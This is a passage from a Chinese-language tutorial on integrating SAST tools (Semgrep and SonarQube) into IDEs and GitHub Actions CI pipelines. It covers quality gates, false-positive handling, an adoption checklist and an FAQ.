IDE 整合是我認為 SAST 最被低估的功能。很多團隊導入 SAST 只做到 CI/CD 階段——問題發現了,但開發者要切換到 Pipeline 報告去看。IDE 即時回饋完全不同,它讓安全意識「長在手指上」——你打完一行有問題的程式碼,下一秒就看到紅色波浪線。久而久之,你根本不會再寫出那種程式碼了。
六、CI/CD 整合:讓安全掃描成為部署的門檻
IDE 掃描是「個人防線」,CI/CD 掃描是「團隊防線」。不管個人有沒有裝 IDE 外掛、有沒有在本地跑掃描,只要程式碼要進 main branch,就一定要通過安全檢查。
6.1 GitHub Actions + Semgrep
# .github/workflows/security-scan.yml
name: Security Scan
on:
push:
branches: [main, develop]
pull_request:
branches: [main]
jobs:
semgrep:
name: SAST Scan with Semgrep
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Run Semgrep
uses: returntocorp/semgrep-action@v1
with:
config: >-
p/owasp-top-ten
p/nodejs
p/secrets
env:
SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
6.2 GitHub Actions + SonarQube
# .github/workflows/sonarqube.yml
name: SonarQube Analysis
on:
push:
branches: [main]
pull_request:
branches: [main]
jobs:
sonarqube:
name: Code Quality & Security
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
with:
fetch-depth: 0 # SonarQube 需要完整的 Git 歷史
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: '20'
- name: Install dependencies & run tests
run: |
npm ci
npm run test:coverage
- name: SonarQube Scan
uses: SonarSource/sonarqube-scan-action@v5
env:
SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
SONAR_HOST_URL: ${{ secrets.SONAR_HOST_URL }}
- name: Check Quality Gate
uses: SonarSource/sonarqube-quality-gate-action@v1
timeout-minutes: 5
env:
SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
6.3 設定品質門檻(Quality Gate)
品質門檻是 SAST 最重要的設定之一——它決定了「什麼程度的問題可以放行,什麼程度的問題必須阻擋」。
# SonarQube 建議的品質門檻
# 在 SonarQube Web 介面 → Quality Gates 中設定
New Code 條件(只檢查新增的程式碼):
- 安全漏洞(Vulnerabilities): 0(不允許任何新漏洞)
- Security Hotspots Reviewed: ≥ 100%(所有安全熱點都要審查)
- 程式碼覆蓋率(Coverage): ≥ 80%
- 重複程式碼比例(Duplications): ≤ 3%
# Semgrep 的品質門檻設定(透過 exit code)
# 在 CI/CD 中,Semgrep 預設在發現 ERROR 級別問題時會回傳非零 exit code
# 這會自動讓 CI/CD Pipeline 失敗
# 如果只想在特定嚴重度時失敗:
semgrep --config p/owasp-top-ten --severity ERROR .
# 只有 ERROR 級別的發現會導致掃描失敗
# 搭配 --error 旗標精確控制:
semgrep --config p/owasp-top-ten --error .
# 有任何發現都會失敗
飛飛觀點:
品質門檻的設定是一門藝術。設得太嚴,開發者會覺得綁手綁腳,甚至想辦法繞過;設得太鬆,等於沒設。我的建議是:對新程式碼嚴格,對舊程式碼寬容。SonarQube 的「New Code」策略就是這個精神——不要求你一次修完所有歷史債務,但新寫的程式碼一定要乾淨。
七、處理誤報:SAST 最讓人頭痛的問題
SAST 最大的缺點就是誤報(False Positive)——工具說有漏洞,但其實沒有。這就像驗屋師每次都說「這面牆不夠結實」,但你明明知道那是承重牆,設計得很好。
如果誤報太多,開發者會逐漸不信任工具,最後乾脆無視所有警告——這比不用工具還危險。
處理誤報的策略
策略一:標記為「已審查,非漏洞」
在 SonarQube 中,你可以把 Security Hotspot 標記為「Safe」;在 Semgrep 中,可以用 <code>nosemgrep</code> 注解:
// 這個 eval 是安全的,因為輸入來自信任的設定檔
// nosemgrep: javascript.lang.security.audit.eval-detected
const config = eval(trustedConfigString);
策略二:調整規則的嚴重度或排除特定規則
# .semgrepconfig.yml — 排除特定規則或路徑
exclude:
- "tests/**" # 測試程式碼不掃描
- "scripts/seed.js" # 資料填充腳本排除
策略三:逐步啟用規則
不要一次開啟所有規則。先從最重要的開始(SQL Injection、XSS、硬編碼金鑰),等團隊適應後再逐步增加。
| 導入階段 | 建議啟用的規則 | 預期誤報率 |
|---|---|---|
| 第一週 | 硬編碼金鑰 / 密碼 | 低 |
| 第二週 | SQL Injection、Command Injection | 低~中 |
| 第一個月 | XSS、Path Traversal | 中 |
| 第二個月 | 完整 OWASP Top 10 | 中 |
| 穩定期 | 加入自訂規則 | 低(已調整過) |
八、SAST 導入 Checklist
以下是一份可以直接帶回團隊使用的 Checklist:
## SAST 導入 Checklist
### 工具選擇
- [ ] 已評估團隊需求(專注安全 vs. 全面品質管理)
- [ ] 已選定至少一款 SAST 工具(Semgrep / SonarQube / 其他)
- [ ] 已確認工具支援團隊使用的程式語言
### IDE 整合
- [ ] 已在開發者 IDE 中安裝對應的擴充功能
- [ ] 已設定專案級別的掃描規則設定檔
- [ ] 已測試 IDE 即時掃描功能正常運作
### CI/CD 整合
- [ ] 已在 CI/CD Pipeline 中加入 SAST 掃描步驟
- [ ] 掃描在 PR 階段執行(不只是 merge 後)
- [ ] 掃描結果會直接顯示在 PR 的 Comment 中
### 品質門檻
- [ ] 已設定品質門檻(新程式碼不允許新漏洞)
- [ ] 嚴重漏洞會自動阻擋部署
- [ ] 團隊已同意門檻的標準
### 誤報管理
- [ ] 已建立誤報的審查與標記流程
- [ ] 已排除不需要掃描的目錄(如 node_modules、tests)
- [ ] 定期(每月)回顧並調整規則
### 團隊協作
- [ ] 團隊成員已了解 SAST 的用途與限制
- [ ] 已指定 Security Champion 負責維護掃描規則
- [ ] 掃描結果的修復已納入 Sprint 的工作項目
九、常見問題 FAQ
Q1:SAST 掃描很慢,會不會拖慢 CI/CD Pipeline?
不會太慢,但需要最佳化。 Semgrep 以速度著稱,掃描一個中型 Node.js 專案通常只需要 30 秒到 2 分鐘。SonarQube 因為需要建立索引,首次掃描可能需要 5-10 分鐘,但後續增量掃描會快很多。
最佳化建議:排除不需要掃描的目錄(<code>node_modules</code>、<code>dist</code>、<code>coverage</code>),在 PR 階段只掃描變更的檔案,完整掃描留在 nightly build。
Q2:我已經在做 Code Review 了,還需要 SAST 嗎?
絕對需要。 Code Review 和 SAST 是互補的,不是替代的。Code Review 擅長發現商業邏輯問題和架構設計缺陷,SAST 擅長發現模式化的安全漏洞。人的眼睛會累、會受趕 deadline 的壓力影響,但工具不會。
反過來說,SAST 也不能取代 Code Review——它不懂你的業務邏輯,不知道「這個使用者不應該能看到那個資料」這種語境相關的問題。
Q3:SonarQube Community Build 和 Server 版本差在哪裡?
Community Build 是免費開源版本,適合中小團隊入門使用。它提供基礎的 SAST 和程式碼品質檢測功能。Server 的付費版本(Developer、Enterprise)多了進階 SAST(如 taint analysis 污點追蹤)、SCA 依賴掃描、更多語言支援、分支分析等企業功能。
對於剛開始導入 SAST 的團隊,Community Build 已經綽綽有餘了。
Q4:Vibe Coding 用 AI 生成的程式碼,SAST 掃得出來嗎?
掃得出來,而且特別需要掃。 AI 生成的程式碼經常包含安全問題——字串拼接 SQL、缺少輸入驗證、硬編碼測試用的金鑰等。SAST 不管程式碼是人寫的還是 AI 寫的,一律用相同的規則掃描。
建議:把 SAST 當成 AI 生成程式碼的「安全審查員」。AI 幫你寫完程式碼後,先用 Semgrep 掃一遍再 commit——這能幫你抓到大部分 AI 常犯的安全錯誤。
十、結語:讓工具成為你的安全夥伴
回到蓋房子的比喻。
沒有人會說:「我蓋了二十年的房子,用眼睛看就夠了,不需要什麼驗屋師。」因為不管你多有經驗,總有看漏的地方。而且,當你同時管理好幾棟房子的施工進度時,你更需要自動化的檢查工具幫你盯住每一個環節。
SAST 也是一樣。它不是要取代你的專業判斷,而是幫你處理那些重複性高、模式化、容易被疏忽的安全檢查。讓工具做工具擅長的事,你才能把寶貴的注意力放在更重要的地方——像是商業邏輯的安全設計、架構層級的防禦策略、以及培養團隊的安全文化。
安全工具不是給開發者加壓力的枷鎖,而是讓你寫程式時更安心的夥伴。
當 IDE 裡的紅色波浪線從「煩人的干擾」變成「可靠的提醒」,你就知道——SAST 已經融入你的開發日常了。
下一篇,我們將進入安全驗證的第二個重要主題——DAST 動態測試實戰:用 OWASP ZAP 掃描網站。學完 SAST 看程式碼內部,接下來要學怎麼從外部攻擊自己的系統,找出只有在運行時才會出現的漏洞。